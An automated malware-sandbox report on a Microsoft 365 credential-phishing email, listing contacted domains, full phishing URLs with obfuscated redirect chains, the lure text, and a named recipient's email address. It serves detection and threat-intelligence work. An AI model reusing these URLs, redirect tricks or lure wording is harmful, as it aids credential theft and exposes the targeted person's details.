Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Process Injection	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://aka.ms/LearnAboutSenderIdentification	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev	162.159.140.237	true	true	unknown
bayraktarplaza.com	185.179.27.104	true	false	unknown
sparksavvy.ru	104.21.48.11	true	false	unknown
code.jquery.com	151.101.66.137	true	false	unknown
nam04.safelinks.eop-tm2.outlook.com	104.47.74.28	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
www.google.com	142.250.186.132	true	false	unknown
nam04.safelinks.protection.outlook.com	unknown	unknown	false	unknown
www.tiktok.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html	true		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false		unknown
https://www.google.com/amp/%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ==	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js	false		unknown
https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/favicon.ico	false		unknown
https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	true		unknown
https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserved=0	false		unknown
https://sparksavvy.ru//	false		unknown
https://sparksavvy.ru///7140.php	false		unknown
https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	true		unknown
https://bayraktarplaza.com/favicon.ico	false		unknown
https://www.google.com/url?cad=z64Ndl7J844jI5EH33et&cd=9X3EYbyCMUoB46Jqpszn&esrc=EgJeLX8CAl11DNSW7pgH&q=IrfT8NMLx6QPaJgv6Z3g&rct=qsUbQmXhZ93d4gNXIWaR&sa=t&safe=active&source=&uact=+&url=amp%2F%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2Fy8E4XKJctWEENyvnBLR6%2FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D&ved=36LRX1krI3rPMEZVSMU2	false		unknown
https://bayraktarplaza.com/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ==	false		unknown
https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/,	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://sparksavvy.ru/#	chromecache_81.7.dr	false		unknown
https://cdn.jsdelivr.net/npm/bootstrap	chromecache_81.7.dr	false		unknown
https://sparksavvy.ru/#faq	chromecache_81.7.dr	false		unknown
https://sparksavvy.ru/#learn-more	chromecache_81.7.dr	false		unknown
https://sparksavvy.ru/#terms	chromecache_81.7.dr	false		unknown
https://sparksavvy.ru/#modern-supercars	chromecache_81.7.dr	false		unknown
https://sparksavvy.ru/#contact	chromecache_81.7.dr	false		unknown
https://sparksavvy.ru/#classic-cars	chromecache_81.7.dr	false		unknown
https://sparksavvy.ru/#privacy	chromecache_81.7.dr	false		unknown
https://nam04.safelinks.protection.outlook.com/?url=http%3A%2F%2Fwww.jcoggincpa.com%2F&data=05%7C02%	~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	false		unknown
https://sparksavvy.ru/#services	chromecache_81.7.dr	false		unknown
https://aka.ms/LearnAboutSenderIdentification	~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	false	URL Reputation: safe	unknown
https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%	~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	false		unknown
https://srs.vtinfo.com/distributor#url=/distributor/KarmaNotes2&actionOption=accountdetail2Tab&a	chromecache_89.7.dr	false		unknown
https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.instagram.com%2Frappandkrockla	~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	false		unknown
https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2F12915	~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	false		unknown
https://sparksavvy.ru/#about	chromecache_81.7.dr	false		unknown
https://srs.vtinfo.com/distributor#url=/distributor/KarmaNotes2	chromecache_89.7.dr	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css	chromecache_81.7.dr	false		unknown
https://www.cloudflare.com/favicon.ico	chromecache_88.7.dr	false		unknown
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_88.7.dr	false		unknown
https://sparksavvy.ru/#electric-vehicles	chromecache_81.7.dr	false		unknown
https://nam04.safelinks.protection.outlook.com/?url=http%3A%2F%2Fwww.rappandkrock.com%2F&data=05%7C0	~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
162.159.140.237	pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev	United States	13335	CLOUDFLARENETUS	true
185.179.27.104	bayraktarplaza.com	Turkey	59674	AYSIMATR	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.47.74.28	nam04.safelinks.eop-tm2.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.48.11	sparksavvy.ru	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1530944
Start date and time:	2024-10-10 17:59:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Untitled.eml
Detection:	MAL
Classification:	mal72.phis.winEML@19/36@26/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .eml

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.113.194.132, 52.109.68.129, 2.19.126.151, 2.19.126.160, 199.232.210.172, 142.250.186.174, 142.250.181.227, 64.233.184.84, 20.189.173.18, 192.229.221.95, 34.104.35.123, 2.16.238.20, 2.16.238.23, 2.16.238.25, 2.16.238.19, 2.16.238.8, 2.16.238.18, 2.16.238.7, 2.16.238.24, 2.16.238.6, 142.250.186.67, 142.250.74.206
Excluded domains from analysis (whitelisted): omex.cdn.office.net, slscr.update.microsoft.com, clientservices.googleapis.com, eur.roaming1.live.com.akadns.net, onedscolprdwus15.westus.cloudapp.azure.com, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, clients2.google.com, ocsp.digicert.com, login.live.com, update.googleapis.com, frc-azsc-000.roaming.officeapps.live.com, a1864.dscd.akamai.net, www.bing.com, clients1.google.com, ecs.office.com, fs.microsoft.com, accounts.google.com, osiprod-frc-buff-azsc-000.francecentral.cloudapp.azure.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, a2047.api10.akamai.net, edgedl.me.gvt1.com, s-0005.s-msedge.net, evoke-windowsservices-tas.msedge.net, ecs.office.trafficmanager.net, clients.l.google.com, omex.cdn.office.net.akamaized.net, mobile.events.data.trafficmanager.net, www.tiktok.com.edgesuite.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Untitled.eml

Input	Output
URL: Email Model: jbxai	{ "brands":["Microsoft"], "text":"OFFICE 365 Hi rachel.anderson@americansignature.com Your assign MFA & Password will expire today 13:12:53 PM(UTC).Sign-in to microsoft below to update and continue with your account. Thanks you, The Office 365 Team One Microsoft Way Redmond, WA 98052-6399 USA Shareholder Two Post Oak Central 1980 Post Oak Blvd., Suite 1200 Houston, Texas 77056 (O): 713.759.9977 \| (F): 713.759.9967", "contains_trigger_text":true, "trigger_text":"OFFICE 365", "prominent_button_name":"COnfirm Credentials", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp Model: jbxai	{ "brands":["Microsoft"], "text":"Sign in", "contains_trigger_text":true, "trigger_text":"Create one!", "prominent_button_name":"Next", "text_input_field_labels":["Sign-in options"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp Model: jbxai	{ "brands":["Microsoft"], "text":"Enter password to access your office mail.", "contains_trigger_text":true, "trigger_text":"Enter password to access your office mail.", "prominent_button_name":"Sign in", "text_input_field_labels":["Password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp Model: jbxai	{ "brands":["Microsoft"], "text":"Enter password Your account or password is incorrect. If you can't re member your password, reset it now. Password Forgot my password Sign in", "contains_trigger_text":true, "trigger_text":"Enter password", "prominent_button_name":"Sign in", "text_input_field_labels":["Password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp Model: jbxai	{ "brands":["Microsoft"], "text":"Enter password", "contains_trigger_text":true, "trigger_text":"Enter password", "prominent_button_name":"Sign in", "text_input_field_labels":["Forgot my password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp Model: jbxai	{ "phishing_score":9, "brands":"Microsoft", "legit_domain":"microsoft.com", "classification":"wellknown", "reasons":["The brand 'Microsoft' is a well-known global technology company.", "The URL 'pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev' does not match the legitimate domain 'microsoft.com'.", "The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft.", "The presence of a password input field on a non-Microsoft domain is suspicious and indicative of phishing.", "The URL structure suggests it might be hosted on a cloud service, but it does not align with Microsoft's typical domain usage."], "brand_matches":[false], "url_match":false, "brand_input":"Microsoft", "input_fields":"Password"}

URL: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp Model: jbxai	{ "phishing_score":9, "brands":"Microsoft", "legit_domain":"microsoft.com", "classification":"wellknown", "reasons":["The brand 'Microsoft' is a well-known global technology company.", "The URL 'pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev' does not match the legitimate domain 'microsoft.com'.", "The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft.", "The presence of a 'Forgot my password' input field is a common tactic used in phishing sites to capture user credentials.", "The URL structure and domain extension are unusual and do not align with Microsoft's typical domain usage."], "brand_matches":[false], "url_match":false, "brand_input":"Microsoft", "input_fields":"Forgot my password"}

URL: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp Model: jbxai	{ "phishing_score":9, "brands":"Microsoft", "legit_domain":"microsoft.com", "classification":"wellknown", "reasons":["The brand 'Microsoft' is a well-known global technology company.", "The URL 'pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev' does not match the legitimate domain 'microsoft.com'.", "The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft.", "The presence of a password input field on a non-Microsoft domain is suspicious and indicative of phishing.", "The URL structure suggests it might be hosted on a cloud service, but it does not align with Microsoft's typical domain usage."], "brand_matches":[false], "url_match":false, "brand_input":"Microsoft", "input_fields":"Password"}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
162.159.140.237	http://pub-04836febb1fc46fca4a8c225ef7d2a38.r2.dev/tantindex.html	Get hash	malicious	HTMLPhisher	Browse	pub-04836febb1fc46fca4a8c225ef7d2a38.r2.dev/tantindex.html
	http://pub-17d7828daac64fc3a83940a40d8b01d8.r2.dev/qwertyuiopBowa.html	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	pub-17d7828daac64fc3a83940a40d8b01d8.r2.dev/qwertyuiopBowa.html
	http://pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html	Get hash	malicious	Unknown	Browse	pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html
	http://pub-2801359d2be54bfd8701132626efeb73.r2.dev/owoed.html	Get hash	malicious	HTMLPhisher	Browse	pub-2801359d2be54bfd8701132626efeb73.r2.dev/owoed.html
	http://pub-e1e4d0b4665d4d8996bf04516d898fb2.r2.dev/ddhjkindex.html	Get hash	malicious	HTMLPhisher	Browse	pub-e1e4d0b4665d4d8996bf04516d898fb2.r2.dev/ddhjkindex.html
	http://pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.html	Get hash	malicious	HTMLPhisher	Browse	pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.html
	http://pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html	Get hash	malicious	Unknown	Browse	pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html
	http://pub-581e9045502e43b8be4eb091f4c349ff.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-581e9045502e43b8be4eb091f4c349ff.r2.dev/index.html
	http://pub-2f611d096e8f43daa9347ca0cf8d9e84.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-2f611d096e8f43daa9347ca0cf8d9e84.r2.dev/index.html
	http://pub-3145f002774347449522e2ca2b2fbcb5.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-3145f002774347449522e2ca2b2fbcb5.r2.dev/index.html
104.18.95.41	https://na2.docusign.net/Signing/EmailStart.aspx?a=65ce31e3-0f62-43e8-8a06-1efc3ff79e46&etti=24&acct=f03a97ef-a21a-4b5f-a673-fe222edf542a&er=c4396d2f-541c-4d1d-bd82-7b6b044f29c3	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com/url?q=https://zyxd.centerspp.com/gBWWy/&sa=D&source=editors&ust=1728569033796392	Get hash	malicious	HTMLPhisher	Browse
	https://clicktime.symantec.com/15tpJCqdM9QTMPCbrFFYy?h=klzqFfVRykrA0KxCmyOSMtGNk2cnn93amKCU2afEZ8c=&u=https://www.tiktok.com/link/v2?aid%3D1988%26lang%3Den%26scene%3Dbio_url%26target%3Dhttps://www.google.ht/url?q%3Dhttps://google%25E3%2580%2582com/amp/s/cli.re/kBNkWr%23a2FyZW4ubWNjcm9ob25AdXJlbmNvLmNvbQ%3D%3D%252F%26opi%3D256371986142%26usg%3DlxfGUQNysmkDx%26source%3Dgmail%26ust%3D2908128326238375%26usg%3DAO2mBxLVnqpOjng75rOWFwZ2mBxLVnqpOqR75	Get hash	malicious	HTMLPhisher	Browse
	https://simplexml.federalinvoice.com/uQ3xo/	Get hash	malicious	HTMLPhisher	Browse
	https://clickproxy.retailrocket.net/?url=https://veritasbd.net//cgibin/bin/philipp.ettle/cGhpbGlwcC5ldHRsZUBid3QtcGhhcm1hLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://pearl-contol.powerappsportals.com	Get hash	malicious	HTMLPhisher	Browse
	https://carexcondoms.com/arull.php?7088797967704b536932307464507a637a4c7a736c4d7a733752533837503155744a31586533634466584277413d1	Get hash	malicious	HTMLPhisher	Browse
	http://flipsnack.com/BA85A977C6F/oct2024/full-view.html	Get hash	malicious	HTMLPhisher	Browse
	https://www.tiktok.com/////link/v2?aid=1988&lang=enpihd7s&scene=bio_url&target=www.google.com/url?q%3DIrfT8NMLx6QPaJgv6Z3g%26rct%3DqsUbQmXhZ93d4gNXIWaR%26sa%3Dt%26esrc%3DEgJeLX8CAl11DNSW7pgH%26source%3D%26cd%3D9X3EYbyCMUoB46Jqpszn%26cad%3Dz64Ndl7J844jI5EH33et%26ved%3D36LRX1krI3rPMEZVSMU2%26uact%3D%2520%26url%3Damp%252Fcharterbytheseat%252Ecom%252F&source=gmail&ust=1725986149001000&usg=AOvVaw1kdi6SPX1NGpGYFWhG_1Z7	Get hash	malicious	Unknown	Browse
	https://nicholstyreman.com/	Get hash	malicious	HtmlDropper	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nam04.safelinks.eop-tm2.outlook.com	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.74.28
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.74.28
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.73.28
	EXTERNAL 9 Held.msg	Get hash	malicious	Unknown	Browse	104.47.73.28
	FW_ _EXTERNAL_ ocstock Shared Document-2.msg	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.47.73.156
	https://gabrielahearstcom-my.sharepoint.com/:o:/g/personal/printern_gabrielahearst_com/EhJ1Th9LxHlEmnThw1du4WEB0ZN3MDFzWzNdgRppRdNZTA?e=5%3aW6udsw&at=9&xsdata=MDV8MDJ8Y2FsZWIuc3dhbm5Ac2VtaW5vbGVzcG9ydHNwcm9wZXJ0aWVzLmNvbXwxMGU5ODhkMzFkNmI0ODI3ODJiNzA4ZGM5Y2VmZmMwMXw5ZWMyN2Q1MzBiZDU0MjczYmIyOWYxYTM4NDY0OGM3OHwwfDB8NjM4NTU3ODAxNzc5NTQyNDI1fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=aGlHd2xmME5haU1LYXB6RVVxLzUxQmJNeEZMbWYwQkg2YW9NSzlGaUdPVT0%3d	Get hash	malicious	HTMLPhisher	Browse	104.47.74.28
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.73.156
